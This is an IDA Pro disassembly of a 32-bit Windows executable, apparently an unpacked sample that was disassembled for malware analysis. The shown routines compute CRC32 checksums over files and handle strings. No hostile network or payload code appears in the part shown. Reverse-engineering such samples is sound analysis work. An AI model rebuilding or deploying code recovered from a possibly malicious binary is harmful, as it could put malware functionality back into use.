;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 47653B5E93DD0D018B05D88C2CF9EAC0
; File Name : u:\work\47653b5e93dd0d018b05d88c2cf9eac0_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 420000
; Section 1. (virtual address 00001000)
; Virtual size : 00015000 ( 86016.)
; Section size in file : 00015000 ( 86016.)
; Offset to raw data for section: 00001000
; Flags E0000080: Bss Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
TEUm segment para public 'CODE' use32
assume cs:TEUm
;org 421000h
assume es:nothing, ss:nothing, ds:TEUm, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421000 proc near ; CODE XREF: sub_424AAF+28p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_4332C8
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_421000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421021 proc near ; CODE XREF: sub_4219B0+Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_4332C8
mov ecx, [ebp+var_4]
call sub_4210DD
mov esp, ebp
pop ebp
retn
sub_421021 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42103D proc near ; CODE XREF: sub_424AAF+38p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_18], ecx
mov [ebp+var_4], 0EDB88320h
mov ecx, [ebp+var_18]
call sub_4210DD
push 400h
call sub_431784
add esp, 4
mov [ebp+var_14], eax
mov eax, [ebp+var_18]
mov ecx, [ebp+var_14]
mov [eax+4], ecx
mov [ebp+var_C], 0
jmp short loc_421080
; ---------------------------------------------------------------------------
loc_421077: ; CODE XREF: sub_42103D+9Aj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_421080: ; CODE XREF: sub_42103D+38j
cmp [ebp+var_C], 100h
jge short loc_4210D9
mov eax, [ebp+var_C]
mov [ebp+var_8], eax
mov [ebp+var_10], 8
jmp short loc_4210A1
; ---------------------------------------------------------------------------
loc_421098: ; CODE XREF: sub_42103D:loc_4210C6j
mov ecx, [ebp+var_10]
sub ecx, 1
mov [ebp+var_10], ecx
loc_4210A1: ; CODE XREF: sub_42103D+59j
cmp [ebp+var_10], 0
jle short loc_4210C8
mov edx, [ebp+var_8]
and edx, 1
test edx, edx
jz short loc_4210BE
mov eax, [ebp+var_8]
shr eax, 1
xor eax, [ebp+var_4]
mov [ebp+var_8], eax
jmp short loc_4210C6
; ---------------------------------------------------------------------------
loc_4210BE: ; CODE XREF: sub_42103D+72j
mov ecx, [ebp+var_8]
shr ecx, 1
mov [ebp+var_8], ecx
loc_4210C6: ; CODE XREF: sub_42103D+7Fj
jmp short loc_421098
; ---------------------------------------------------------------------------
loc_4210C8: ; CODE XREF: sub_42103D+68j
mov edx, [ebp+var_18]
mov eax, [edx+4]
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov [eax+ecx*4], edx
jmp short loc_421077
; ---------------------------------------------------------------------------
loc_4210D9: ; CODE XREF: sub_42103D+4Aj
mov esp, ebp
pop ebp
retn
sub_42103D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210DD proc near ; CODE XREF: sub_421021+13p
; sub_42103D+13p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov ecx, [eax+4]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
call sub_43177E
add esp, 4
mov eax, [ebp+var_8]
mov dword ptr [eax+4], 0
mov esp, ebp
pop ebp
retn
sub_4210DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421109 proc near ; CODE XREF: TEUm:004216A6p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_421109
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_10], esp
mov [ebp+var_14], 1
mov [ebp+var_4], 0
mov [ebp+var_1C], 0
mov [ebp+var_18], 0
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_433024 ; GetFileSize
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0FFFFFFFFh
jnz short loc_42117B
call dword_433028 ; RtlGetLastWin32Error
test eax, eax
jz short loc_42117B
mov [ebp+var_14], 0
mov edx, [ebp+arg_4]
mov dword ptr [edx], 0
mov dword ptr [edx+4], 0
jmp short loc_42119B
; ---------------------------------------------------------------------------
loc_42117B: ; CODE XREF: sub_421109+50j
; sub_421109+5Aj
mov eax, [ebp+var_18]
xor edx, edx
mov ecx, 20h
call sub_431810
mov ecx, [ebp+var_1C]
xor esi, esi
or eax, ecx
or edx, esi
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov [ecx+4], edx
loc_42119B: ; CODE XREF: sub_421109+70j
jmp short loc_4211A7
; ---------------------------------------------------------------------------
loc_42119D: ; DATA XREF: TEUm:00434BD4o
mov [ebp+var_14], 0
mov eax, offset loc_4211A7
retn
; ---------------------------------------------------------------------------
loc_4211A7: ; CODE XREF: sub_421109:loc_42119Bj
; DATA XREF: sub_421109+98o
mov [ebp+var_4], 0FFFFFFFFh
mov al, [ebp+var_14]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_421109 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset sub_431D0A
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-1Ch], ecx
mov dword ptr [ebp-14h], 0
mov eax, [ebp+0Ch]
mov dword ptr [eax], 0FFFFFFFFh
mov dword ptr [ebp-4], 0
mov ecx, [ebp-1Ch]
cmp dword ptr [ecx+4], 0
jnz short loc_42121C
mov dword ptr [ebp-18h], 0
push offset dword_434DC0
lea edx, [ebp-18h]
push edx
call sub_43184C ; _CxxThrowException
loc_42121C: ; CODE XREF: TEUm:00421205j
; TEUm:00421241j
mov eax, [ebp+8]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_421243
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
mov cl, [eax]
push ecx
mov ecx, [ebp-1Ch]
call sub_4219E0
mov edx, [ebp+8]
add edx, 1
mov [ebp+8], edx
jmp short loc_42121C
; ---------------------------------------------------------------------------
loc_421243: ; CODE XREF: TEUm:00421224j
jmp short loc_421252
; ---------------------------------------------------------------------------
loc_421245: ; DATA XREF: TEUm:00434C2Co
mov dword ptr [ebp-14h], 17h
mov eax, offset loc_421252
retn
; ---------------------------------------------------------------------------
loc_421252: ; CODE XREF: TEUm:loc_421243j
; DATA XREF: TEUm:0042124Co
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp+0Ch]
mov ecx, [eax]
not ecx
mov edx, [ebp+0Ch]
mov [edx], ecx
mov eax, [ebp-14h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_431D1E
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, 108Ch
call sub_431860
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-1084h], ecx
mov dword ptr [ebp-14h], 0
push 1
lea ecx, [ebp-70h]
call dword_43315C
mov dword ptr [ebp-4], 0
mov eax, [ebp+0Ch]
mov dword ptr [eax], 0FFFFFFFFh
mov byte ptr [ebp-4], 1
mov ecx, [ebp-1084h]
cmp dword ptr [ecx+4], 0
jnz short loc_4212F7
mov dword ptr [ebp-107Ch], 0
push offset dword_434DC0
lea edx, [ebp-107Ch]
push edx
call sub_43184C ; _CxxThrowException
loc_4212F7: ; CODE XREF: TEUm:004212DAj
mov eax, dword_433158
mov ecx, [eax]
push ecx
push 0A1h
mov edx, [ebp+8]
push edx
lea ecx, [ebp-70h]
call dword_433154
lea ecx, [ebp-70h]
call dword_433140
mov [ebp-1088h], eax
cmp dword ptr [ebp-1088h], 0
jnz short loc_42134D
mov eax, [ebp-70h]
mov ecx, [eax+4]
lea ecx, [ebp+ecx-70h]
call dword_433160
mov [ebp-108Ch], eax
mov edx, [ebp-108Ch]
mov [ebp-14h], edx
jmp loc_421400
; ---------------------------------------------------------------------------
loc_42134D: ; CODE XREF: TEUm:00421327j
push 1000h
lea eax, [ebp-1078h]
push eax
lea ecx, [ebp-70h]
call dword_433144
mov [ebp-1090h], eax
mov ecx, [ebp-1090h]
call dword_433148
mov [ebp-1094h], eax
mov ecx, [ebp-1094h]
mov [ebp-78h], ecx
loc_421383: ; CODE XREF: TEUm:004213F5j
cmp dword ptr [ebp-78h], 0
jz short loc_4213F7
mov dword ptr [ebp-74h], 0
jmp short loc_42139B
; ---------------------------------------------------------------------------
loc_421392: ; CODE XREF: TEUm:004213BDj
mov edx, [ebp-74h]
add edx, 1
mov [ebp-74h], edx
loc_42139B: ; CODE XREF: TEUm:00421390j
mov eax, [ebp-74h]
cmp eax, [ebp-78h]
jge short loc_4213BF
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp-74h]
mov al, [ebp+edx-1078h]
push eax
mov ecx, [ebp-1084h]
call sub_4219E0
jmp short loc_421392
; ---------------------------------------------------------------------------
loc_4213BF: ; CODE XREF: TEUm:004213A1j
push 1000h
lea ecx, [ebp-1078h]
push ecx
lea ecx, [ebp-70h]
call dword_433144
mov [ebp-1098h], eax
mov ecx, [ebp-1098h]
call dword_433148
mov [ebp-109Ch], eax
mov edx, [ebp-109Ch]
mov [ebp-78h], edx
jmp short loc_421383
; ---------------------------------------------------------------------------
loc_4213F7: ; CODE XREF: TEUm:00421387j
lea ecx, [ebp-70h]
call dword_43314C
loc_421400: ; CODE XREF: TEUm:00421348j
jmp short loc_42140F
; ---------------------------------------------------------------------------
loc_421402: ; DATA XREF: TEUm:00434C8Co
mov dword ptr [ebp-14h], 17h
mov eax, offset loc_42140F
retn
; ---------------------------------------------------------------------------
loc_42140F: ; CODE XREF: TEUm:loc_421400j
; DATA XREF: TEUm:00421409o
mov dword ptr [ebp-4], 0
lea ecx, [ebp-70h]
call dword_433140
test eax, eax
jz short loc_42142C
lea ecx, [ebp-70h]
call dword_43314C
loc_42142C: ; CODE XREF: TEUm:00421421j
mov eax, [ebp+0Ch]
mov ecx, [eax]
not ecx
mov edx, [ebp+0Ch]
mov [edx], ecx
mov eax, [ebp-14h]
mov [ebp-1080h], eax
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-70h]
call dword_433150
mov eax, [ebp-1080h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42146A proc near ; CODE XREF: sub_424AAF+46p
var_102C = dword ptr -102Ch
var_1028 = dword ptr -1028h
var_1024 = dword ptr -1024h
var_1020 = byte ptr -1020h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42146A
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, 101Ch
call sub_431860
push ebx
push esi
push edi
mov [ebp+var_10], esp
mov [ebp+var_102C], ecx
mov [ebp+var_18], 0
mov [ebp+var_14], 0
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0FFFFFFFFh
mov [ebp+var_4], 0
mov ecx, [ebp+var_102C]
cmp dword ptr [ecx+4], 0
jnz short loc_4214DE
mov [ebp+var_1028], 0
push offset dword_434DC0
lea edx, [ebp+var_1028]
push edx
call sub_43184C ; _CxxThrowException
loc_4214DE: ; CODE XREF: sub_42146A+57j
push 0
push 8000027h
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+arg_0]
push eax
call dword_433018 ; CreateFileA
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_421511
call dword_433028 ; RtlGetLastWin32Error
mov [ebp+var_18], eax
jmp loc_42159F
; ---------------------------------------------------------------------------
loc_421511: ; CODE XREF: sub_42146A+97j
push 0
lea ecx, [ebp+var_1024]
push ecx
push 1000h
lea edx, [ebp+var_1020]
push edx
mov eax, [ebp+var_14]
push eax
call dword_43301C ; ReadFile
mov [ebp+var_20], eax
loc_421533: ; CODE XREF: sub_42146A+133j
cmp [ebp+var_20], 0
jz short loc_42159F
cmp [ebp+var_1024], 0
jz short loc_42159F
mov [ebp+var_1C], 0
jmp short loc_421554
; ---------------------------------------------------------------------------
loc_42154B: ; CODE XREF: sub_42146A+10Fj
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_421554: ; CODE XREF: sub_42146A+DFj
mov edx, [ebp+var_1C]
cmp edx, [ebp+var_1024]
jnb short loc_42157B
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_1C]
mov dl, [ebp+ecx+var_1020]
push edx
mov ecx, [ebp+var_102C]
call sub_4219E0
jmp short loc_42154B
; ---------------------------------------------------------------------------
loc_42157B: ; CODE XREF: sub_42146A+F3j
push 0
lea eax, [ebp+var_1024]
push eax
push 1000h
lea ecx, [ebp+var_1020]
push ecx
mov edx, [ebp+var_14]
push edx
call dword_43301C ; ReadFile
mov [ebp+var_20], eax
jmp short loc_421533
; ---------------------------------------------------------------------------
loc_42159F: ; CODE XREF: sub_42146A+A2j
; sub_42146A+CDj ...
jmp short loc_4215AE
; ---------------------------------------------------------------------------
loc_4215A1: ; DATA XREF: TEUm:00434CE4o
mov [ebp+var_18], 17h
mov eax, offset loc_4215AE
retn
; ---------------------------------------------------------------------------
loc_4215AE: ; CODE XREF: sub_42146A:loc_42159Fj
; DATA XREF: sub_42146A+13Eo
mov [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_14], 0
jz short loc_4215C5
mov eax, [ebp+var_14]
push eax
call dword_433020 ; CloseHandle
loc_4215C5: ; CODE XREF: sub_42146A+14Fj
mov ecx, [ebp+arg_4]
mov edx, [ecx]
not edx
mov eax, [ebp+arg_4]
mov [eax], edx
mov eax, [ebp+var_18]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_42146A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset sub_431D32
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
sub esp, 38h
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-44h], ecx
mov dword ptr [ebp-1Ch], 0
mov dword ptr [ebp-18h], 0
mov dword ptr [ebp-14h], 0
mov eax, [ebp+0Ch]
mov dword ptr [eax], 0FFFFFFFFh
mov dword ptr [ebp-4], 0
mov ecx, [ebp-44h]
cmp dword ptr [ecx+4], 0
jnz short loc_42164F
mov dword ptr [ebp-40h], 0
push offset dword_434DC0
lea edx, [ebp-40h]
push edx
call sub_43184C ; _CxxThrowException
loc_42164F: ; CODE XREF: TEUm:00421638j
push 0
push 8000027h
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+8]
push eax
call dword_433018 ; CreateFileA
mov [ebp-18h], eax
cmp dword ptr [ebp-18h], 0FFFFFFFFh
jnz short loc_421682
call dword_433028 ; RtlGetLastWin32Error
mov [ebp-1Ch], eax
jmp loc_4217D5
; ---------------------------------------------------------------------------
loc_421682: ; CODE XREF: TEUm:00421672j
mov dword ptr [ebp-2Ch], 0
mov dword ptr [ebp-28h], 0
mov dword ptr [ebp-24h], 0
mov dword ptr [ebp-20h], 0
lea ecx, [ebp-2Ch]
push ecx
mov edx, [ebp-18h]
push edx
call sub_421109
add esp, 8
mov [ebp-48h], al
mov eax, [ebp-48h]
and eax, 0FFh
test eax, eax
jnz short loc_4216C9
mov dword ptr [ebp-1Ch], 18h
jmp loc_4217D5
; ---------------------------------------------------------------------------
loc_4216C9: ; CODE XREF: TEUm:004216BBj
mov ecx, [ebp-2Ch]
or ecx, [ebp-28h]
test ecx, ecx
jz loc_4217D5
push 0
push 0
push 0
push 2
push 0
mov edx, [ebp-18h]
push edx
call dword_433070 ; CreateFileMappingA
mov [ebp-14h], eax
cmp dword ptr [ebp-14h], 0
jnz short loc_421702
call dword_433028 ; RtlGetLastWin32Error
mov [ebp-1Ch], eax
jmp loc_4217D5
; ---------------------------------------------------------------------------
loc_421702: ; CODE XREF: TEUm:004216F2j
; TEUm:004217D0j
cmp dword ptr [ebp-28h], 0
jl loc_4217D5
jg short loc_421718
cmp dword ptr [ebp-2Ch], 0
jbe loc_4217D5
loc_421718: ; CODE XREF: TEUm:0042170Cj
cmp dword ptr [ebp-28h], 0
jg short loc_421731
jl short loc_421729
cmp dword ptr [ebp-2Ch], 0A00000h
jnb short loc_421731
loc_421729: ; CODE XREF: TEUm:0042171Ej
mov eax, [ebp-2Ch]
mov [ebp-38h], eax
jmp short loc_421738
; ---------------------------------------------------------------------------
loc_421731: ; CODE XREF: TEUm:0042171Cj
; TEUm:00421727j
mov dword ptr [ebp-38h], 0A00000h
loc_421738: ; CODE XREF: TEUm:0042172Fj
mov ecx, [ebp-38h]
push ecx
mov edx, [ebp-24h]
push edx
mov ecx, 20h
mov eax, [ebp-24h]
mov edx, [ebp-20h]
call sub_431890
and edx, 0
push eax
push 4
mov eax, [ebp-14h]
push eax
call dword_43306C ; MapViewOfFile
mov [ebp-34h], eax
mov ecx, [ebp-38h]
mov [ebp-30h], ecx
mov edx, [ebp-34h]
mov [ebp-3Ch], edx
loc_42176F: ; CODE XREF: TEUm:0042179Aj
mov eax, [ebp-30h]
mov ecx, [ebp-30h]
sub ecx, 1
mov [ebp-30h], ecx
test eax, eax
jbe short loc_42179C
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp-3Ch]
mov cl, [eax]
push ecx
mov ecx, [ebp-44h]
call sub_4219E0
mov edx, [ebp-3Ch]
add edx, 1
mov [ebp-3Ch], edx
jmp short loc_42176F
; ---------------------------------------------------------------------------
loc_42179C: ; CODE XREF: TEUm:0042177Dj
mov eax, [ebp-34h]
push eax
call dword_433040 ; UnmapViewOfFile
mov ecx, [ebp-38h]
xor edx, edx
mov eax, [ebp-24h]
add eax, ecx
mov ecx, [ebp-20h]
adc ecx, edx
mov [ebp-24h], eax
mov [ebp-20h], ecx
mov edx, [ebp-38h]
xor eax, eax
mov ecx, [ebp-2Ch]
sub ecx, edx
mov edx, [ebp-28h]
sbb edx, eax
mov [ebp-2Ch], ecx
mov [ebp-28h], edx
jmp loc_421702
; ---------------------------------------------------------------------------
loc_4217D5: ; CODE XREF: TEUm:0042167Dj
; TEUm:004216C4j ...
jmp short loc_4217E4
; ---------------------------------------------------------------------------
loc_4217D7: ; DATA XREF: TEUm:00434D3Co
mov dword ptr [ebp-1Ch], 17h
mov eax, offset loc_4217E4
retn
; ---------------------------------------------------------------------------
loc_4217E4: ; CODE XREF: TEUm:loc_4217D5j
; DATA XREF: TEUm:004217DEo
mov dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-18h], 0
jz short loc_4217FB
mov eax, [ebp-18h]
push eax
call dword_433020 ; CloseHandle
loc_4217FB: ; CODE XREF: TEUm:004217EFj
cmp dword ptr [ebp-14h], 0
jz short loc_42180B
mov ecx, [ebp-14h]
push ecx
call dword_433020 ; CloseHandle
loc_42180B: ; CODE XREF: TEUm:004217FFj
mov edx, [ebp+0Ch]
mov eax, [edx]
not eax
mov ecx, [ebp+0Ch]
mov [ecx], eax
mov eax, [ebp-1Ch]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset sub_431D3C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, 1018h
call sub_431860
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-1028h], ecx
mov dword ptr [ebp-18h], 0
mov dword ptr [ebp-14h], 0
mov eax, [ebp+0Ch]
mov dword ptr [eax], 0FFFFFFFFh
mov dword ptr [ebp-4], 0
mov ecx, [ebp-1028h]
cmp dword ptr [ecx+4], 0
jnz short loc_4218A1
mov dword ptr [ebp-1024h], 0
push offset dword_434DC0
lea edx, [ebp-1024h]
push edx
call sub_43184C ; _CxxThrowException
loc_4218A1: ; CODE XREF: TEUm:00421884j
push 0
push 8000027h
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+8]
push eax
call dword_433018 ; CreateFileA
mov [ebp-14h], eax
cmp dword ptr [ebp-14h], 0FFFFFFFFh
jnz short loc_4218D4
call dword_433028 ; RtlGetLastWin32Error
mov [ebp-18h], eax
jmp loc_421964
; ---------------------------------------------------------------------------
loc_4218D4: ; CODE XREF: TEUm:004218C4j
push 0
lea ecx, [ebp-1020h]
push ecx
push 1000h
lea edx, [ebp-101Ch]
push edx
mov eax, [ebp-14h]
push eax
call dword_43301C ; ReadFile
mov [ebp-1Ch], eax
loc_4218F6: ; CODE XREF: TEUm:00421962j
cmp dword ptr [ebp-1Ch], 0
jz short loc_421964
cmp dword ptr [ebp-1020h], 0
jz short loc_421964
push esi
push edi
mov eax, [ebp+0Ch]
mov ecx, [eax]
mov ebx, [ebp-1028h]
mov edi, [ebx+4]
lea esi, [ebp-101Ch]
mov ebx, [ebp-1020h]
lea edx, [esi+ebx]
loc_421924: ; CODE XREF: TEUm:00421937j
xor eax, eax
mov bl, [esi]
mov al, cl
inc esi
xor al, bl
shr ecx, 8
mov ebx, [edi+eax*4]
xor ecx, ebx
cmp edx, esi
jnz short loc_421924
pop edi
pop esi
mov eax, [ebp+0Ch]
mov [eax], ecx
push 0
lea ecx, [ebp-1020h]
push ecx
push 1000h
lea edx, [ebp-101Ch]
push edx
mov eax, [ebp-14h]
push eax
call dword_43301C ; ReadFile
mov [ebp-1Ch], eax
jmp short loc_4218F6
; ---------------------------------------------------------------------------
loc_421964: ; CODE XREF: TEUm:004218CFj
; TEUm:004218FAj ...
jmp short loc_421973
; ---------------------------------------------------------------------------
loc_421966: ; DATA XREF: TEUm:00434D94o
mov dword ptr [ebp-18h], 17h
mov eax, offset loc_421973
retn
; ---------------------------------------------------------------------------
loc_421973: ; CODE XREF: TEUm:loc_421964j
; DATA XREF: TEUm:0042196Do
mov dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-14h], 0
jz short loc_42198A
mov ecx, [ebp-14h]
push ecx
call dword_433020 ; CloseHandle
loc_42198A: ; CODE XREF: TEUm:0042197Ej
mov edx, [ebp+0Ch]
mov eax, [edx]
not eax
mov ecx, [ebp+0Ch]
mov [ecx], eax
mov eax, [ebp-18h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219B0 proc near ; DATA XREF: TEUm:off_4332C8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_421021
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_4219D5
mov ecx, [ebp+var_4]
push ecx
call sub_43177E
add esp, 4
loc_4219D5: ; CODE XREF: sub_4219B0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4219B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219E0 proc near ; CODE XREF: TEUm:00421233p
; TEUm:004213B8p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
shr ecx, 8
mov edx, [ebp+arg_0]
and edx, 0FFh
mov eax, [ebp+arg_4]
mov eax, [eax]
and eax, 0FFh
xor edx, eax
mov eax, [ebp+var_4]
mov eax, [eax+4]
xor ecx, [eax+edx*4]
mov edx, [ebp+arg_4]
mov [edx], ecx
mov esp, ebp
pop ebp
retn 8
sub_4219E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421A20 proc near ; CODE XREF: sub_425D94+D0p
; sub_425D94+15Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov [ebp+var_4], 0
loc_421A30: ; CODE XREF: sub_421A20+3Cj
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_421A5E
mov edx, [ebp+arg_0]
add edx, [ebp+var_4]
movsx eax, byte ptr [edx]
movsx ecx, [ebp+arg_4]
cmp eax, ecx
jnz short loc_421A53
mov eax, [ebp+var_4]
jmp short loc_421A61
; ---------------------------------------------------------------------------
loc_421A53: ; CODE XREF: sub_421A20+2Cj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_421A30
; ---------------------------------------------------------------------------
loc_421A5E: ; CODE XREF: sub_421A20+1Bj
or eax, 0FFFFFFFFh
loc_421A61: ; CODE XREF: sub_421A20+31j
mov esp, ebp
pop ebp
retn 8
sub_421A20 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
mov [ebp-8], ecx
mov dword ptr [ebp-4], 0
loc_421A77: ; CODE XREF: TEUm:00421A8Dj
mov eax, [ebp+8]
add eax, [ebp-4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_421A8F
mov edx, [ebp-4]
add edx, 1
mov [ebp-4], edx
jmp short loc_421A77
; ---------------------------------------------------------------------------
loc_421A8F: ; CODE XREF: TEUm:00421A82j
mov eax, [ebp-4]
sub eax, 1
mov [ebp-4], eax
loc_421A98: ; CODE XREF: TEUm:00421AC4j
mov ecx, [ebp+8]
add ecx, [ebp-4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_421AC6
mov eax, [ebp+8]
add eax, [ebp-4]
movsx ecx, byte ptr [eax]
movsx edx, byte ptr [ebp+0Ch]
cmp ecx, edx
jnz short loc_421ABB
mov eax, [ebp-4]
jmp short loc_421AC9
; ---------------------------------------------------------------------------
loc_421ABB: ; CODE XREF: TEUm:00421AB4j
mov eax, [ebp-4]
sub eax, 1
mov [ebp-4], eax
jmp short loc_421A98
; ---------------------------------------------------------------------------
loc_421AC6: ; CODE XREF: TEUm:00421AA3j
or eax, 0FFFFFFFFh
loc_421AC9: ; CODE XREF: TEUm:00421AB9j
mov esp, ebp
pop ebp
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421ACF proc near ; CODE XREF: TEUm:004225F7p
; sub_4230F8+D8p ...
var_2008 = dword ptr -2008h
var_2004 = dword ptr -2004h
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 2008h
call sub_431860
mov [ebp+var_2008], ecx
mov [ebp+var_2004], 0
push 2000h
push 0
push offset a8b ; "8B"
call sub_4318B2 ; memset
add esp, 0Ch
loc_421B00: ; CODE XREF: sub_421ACF:loc_421B5Ej
mov eax, [ebp+arg_4]
add eax, [ebp+arg_8]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_421B60
mov edx, [ebp+arg_4]
add edx, [ebp+arg_8]
movsx eax, byte ptr [edx]
push eax
push offset dword_43702C
lea ecx, [ebp+var_2000]
push ecx
call dword_4331E4 ; sprintf
add esp, 0Ch
lea edx, [ebp+var_2000]
push edx
push offset a8b ; "8B"
call dword_433074 ; lstrcatA
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
cmp [ebp+arg_C], 0
